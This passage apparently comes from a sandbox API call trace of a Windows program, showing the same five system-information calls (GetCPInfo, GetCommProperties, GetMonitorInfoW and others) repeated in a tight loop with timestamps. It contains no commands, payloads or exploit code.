hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.605] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.605] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.605] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.605] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.605] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.605] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.605] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.605] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.605] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.605] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.605] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.605] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.605] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.606] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.606] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.606] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.606] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.606] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.606] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.606] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.606] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.606] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.606] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.606] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.606] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.606] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.606] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.606] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.606] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.606] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.606] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.607] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.607] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.607] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.607] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.607] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.608] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.608] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.608] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.608] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.608] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.608] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.608] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.608] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.608] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.608] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.608] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.608] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.608] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.608] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.608] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.608] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.608] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.608] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.608] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.608] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.608] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.608] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.608] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.608] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.608] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.609] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.609] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.609] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.609] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.609] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.609] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.609] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.609] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.609] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.609] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.609] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.609] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.609] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.609] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.609] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.609] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.609] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.609] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.609] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.609] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.609] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.609] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.610] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.610] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.610] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.610] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.610] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.610] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.610] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.610] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.610] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.610] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.610] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.610] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.610] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.610] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.610] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.610] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.610] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.610] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.610] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.610] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.610] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.610] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.610] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.610] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.611] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.611] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.611] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.611] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.611] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.611] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.611] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.611] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.611] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.611] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.611] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.611] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.611] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.611] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.611] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.611] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.611] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.611] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.611] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.611] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.611] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.611] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.611] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.611] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.612] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.612] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.612] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.612] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.612] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.612] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.612] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.612] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.612] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.612] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.612] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.612] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.612] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.612] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.612] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.612] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.612] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.612] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.612] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.612] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.612] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.612] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.612] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.612] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.612] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.613] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.613] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.613] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.613] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.613] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.613] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.613] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.613] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.613] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.613] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.613] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.613] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.613] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.613] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.613] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.613] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.613] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.613] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.613] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.613] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.613] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.613] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.613] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.613] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.613] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.614] 